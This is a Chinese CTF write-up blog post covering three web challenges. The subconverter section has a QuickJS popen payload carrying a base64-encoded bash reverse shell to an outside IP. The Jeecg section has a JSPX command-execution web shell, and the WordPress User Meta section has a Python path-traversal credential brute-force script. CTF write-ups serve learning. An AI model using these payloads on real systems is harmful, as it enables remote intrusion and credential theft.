几次比赛的web附件的复现

几次比赛的web附件的复现

wmctf subconverter

参考wp:https://rce.moe/2022/08/23/WMCTF-2022-WRITEUP/
c语言代码审计。。。真滴折磨。main.cpp里面把所有路由列出来了。/convert:getConvertedRuleset

std::string getConvertedRuleset(RESPONSE_CALLBACK_ARGS)
{
    std::string url = urlDecode(getUrlArg(request.argument, "url")), type = getUrlArg(request.argument, "type");
    return convertRuleset(fetchFile(url, parseProxy(global.proxyRuleset), global.cacheRuleset), to_int(type));
}

fetchFile:

std::shared_future<std::string> fetchFileAsync(const std::string &path, const std::string &proxy, int cache_ttl, bool find_local, bool async)
{
    std::shared_future<std::string> retVal;
    /*if(vfs::vfs_exist(path))
        retVal = std::async(std::launch::async, [path](){return vfs::vfs_get(path);});
    else */if(find_local && fileExist(path, true))
        retVal = std::async(std::launch::async, [path](){return fileGet(path, true);});
    else if(isLink(path))
        retVal = std::async(std::launch::async, [path, proxy, cache_ttl](){return webGet(path, proxy, cache_ttl);});
    else
        return std::async(std::launch::async, [](){return std::string();});
    if(!async)
        retVal.wait();
    return retVal;
}

std::string fetchFile(const std::string &path, const std::string &proxy, int cache_ttl, bool find_local)
{
    return fetchFileAsync(path, proxy, cache_ttl, find_local, false).get();
}

明显可以任意文件读取,但是只能读当前文件夹下面的。除此之外,还有一个webGet:

if(cache_ttl > 0)
    {
        md("cache");
        const std::string url_md5 = getMD5(url);
        const std::string path = "cache/" + url_md5, path_header = path + "_header";
        struct stat result;
        if(stat(path.data(), &result) == 0) // cache exist
        {
            time_t mtime = result.st_mtime, now = time(NULL); // get cache modified time and current time
            if(difftime(now, mtime) <= cache_ttl) // within TTL
            {
                writeLog(0, "CACHE HIT: '" + url + "', using local cache.");
                //guarded_mutex guard(cache_rw_lock);
                cache_rw_lock.readLock();
                defer(cache_rw_lock.readUnlock();)
                if(response_headers)
                    *response_headers = fileGet(path_header, true);
                return fileGet(path, true);
            }
            writeLog(0, "CACHE MISS: '" + url + "', TTL timeout, creating new cache."); // out of TTL
        }

明显有缓存文件的功能,且可以读取远程文件。然后在subconverter/sub路由里面,代码又臭又长。关键点:

for(std::string &x : urls)
    {
        x = regTrim(x);
        //std::cerr<<"Fetching node data from url '"<<x<<"'."<<std::endl;
        writeLog(0, "Fetching node data from url '" + x + "'.", LOG_LEVEL_INFO);
        if(addNodes(x, nodes, groupID, parse_set) == -1)
        {
            if(global.skipFailedLinks)
                writeLog(0, "The following link doesn't contain any valid node info: " + x, LOG_LEVEL_WARNING);
            else
            {
                *status_code = 400;
                return "The following link doesn't contain any valid node info: " + x;
            }
        }
        groupID++;
    }

然后这个addNotes有点东西;

if(authorized) script_safe_runner(parse_set.js_runtime, parse_set.js_context, [&](qjs::Context &ctx)
    {
        if(startsWith(link, "script:")) /// process subscription with script
        {
            writeLog(0, "Found script link. Start running...", LOG_LEVEL_INFO);
            string_array args = split(link.substr(7), ",");
            if(args.size() >= 1)
            {
                std::string script = fileGet(args[0], false);
                try
                {
                    ctx.eval(script);
                    args.erase(args.begin()); /// remove script path
                    auto parse = (std::function<std::string(const std::string&, const string_array&)>) ctx.eval("parse");
...

有个qjs运行,即quickjs。需要token认证,然后就会执行script:后面的qjs文件。所以思路是缓存一个qjs文件,然后执行。先读配置文件拿token:

/convert?url=pref.toml

看qjs的官方文档,可以发现std下面有个popen:

popen(command, flags, errorObj = undefined)
Open a process by creating a pipe (wrapper to the libc popen()). Return the FILE object or null in case of I/O error. If errorObj is not undefined, set its errno property to the error code or to 0 if no error occured.

然后搜了一下咋用,发现flags=r即可。

std.popen("bash -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==|base64 -d|bash'","r");

然后缓存qjs文件:

/convert?url=http://url/qjs

运行qjs文件:

/convert?url=script:cache/md5(url)&token=SjgH1fcJMYV5R&target=clash

wmctf jeecg

偷了一天懒,半夜才开始审代码,审到3点直接睡觉了,昏昏沉沉的。虽然审不出啥名堂,但是搜到了一篇文章:https://forum.butian.net/share/987
成功找到鉴权绕过。

有很多任意文件上传漏洞,没有任何的过滤/限制。这里随机挑一个来说
iconController?saveOrUpdateIcon 存在任意文件上传漏洞,设置了不重命名与上传。

然后试了这个,结果没出,然后文章也没有详细步骤,直接睡觉了。第二天看wp,原来除此之外还有上传的洞。。。所以直接全局搜upload


虽然很多,但是专门找controller就没几个,可以找到CgUploadController,然后ajaxSaveFile没有任何过滤,直接上传,发现jsp不能访问,所以搞jspx就行:

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
<jsp:directive.page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"/>
<jsp:directive.page import="java.util.*"/>
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="sun.misc.BASE64Decoder"/>
<jsp:scriptlet><![CDATA[
    String tmp = pageContext.getRequest().getParameter("str");
    if (tmp != null&&!"".equals(tmp)) {
    try{
        Process p = Runtime.getRuntime().exec(tmp);
        InputStream in = p.getInputStream();
        BufferedReader br = new BufferedReader(new InputStreamReader(in,"GBK"));
        String brs = br.readLine();
        while(brs!=null){
            out.println(brs+"</br>");
            brs = br.readLine();
        }
        }catch(Exception ex){
            out.println(ex.toString());
        }
    }]]>
</jsp:scriptlet>
</jsp:root>

绕过鉴权直接上传就行。

qwb 强网先锋WP-UM

看到有插件User Meta,然后谷歌了一下,发现有任意文件泄露漏洞:https://www.zilyun.com/23036.html
比赛的时候最后不到一小时才看这题,本地还没搭起环境,以为username目录和给的源码一样(忘记看dockerfile了)。。然后爆半天没反应,就放弃了。直接贴个一把嗦脚本:

import string

import requests

url = "http://127.0.0.1/wp-admin/admin-ajax.php"
strings = list(string.printable)
cookies = {"wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3": "asd%7C1661765970%7CryIzotcx4oxFL0oMAnFDzpleZEKSAPW6wMdz3nLiVF1%7C1bc141b84b075616fd22822b1e624470755b06c894970f028e291e250acbff6f"}
result = ""
flag = 0

for k in ["username", "password"]:
    for i in range(1, 50):
        for j in strings:
            data = {"field_name": "upload",
                    "filepath": "/../../../../{}/{}{}".format(k, str(i), j),
                    "field_id": "um_field_2",
                    "form_key": "upload",
                    "action": "um_show_uploaded_file",
                    "pf_nonce": "954177d1f2",
                    "is_ajax": "true"
                    }
            res = requests.post(url=url, data=data, cookies=cookies)
            if "<span>Remove</span>" in res.text:
                result += j
                print(result)
                break
            if j == strings[-1]:
                print("[*]{}: ".format(k) + result)
                flag = 1
                result = ""
                break
        if flag != 0:
            if k == "password":
                exit(1)
            flag = 0
            break

得到后台管理的帐号密码,直接登陆,剩下就很简单。修改wordpress的配置文件即可:


然后访问404界面得到flag。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇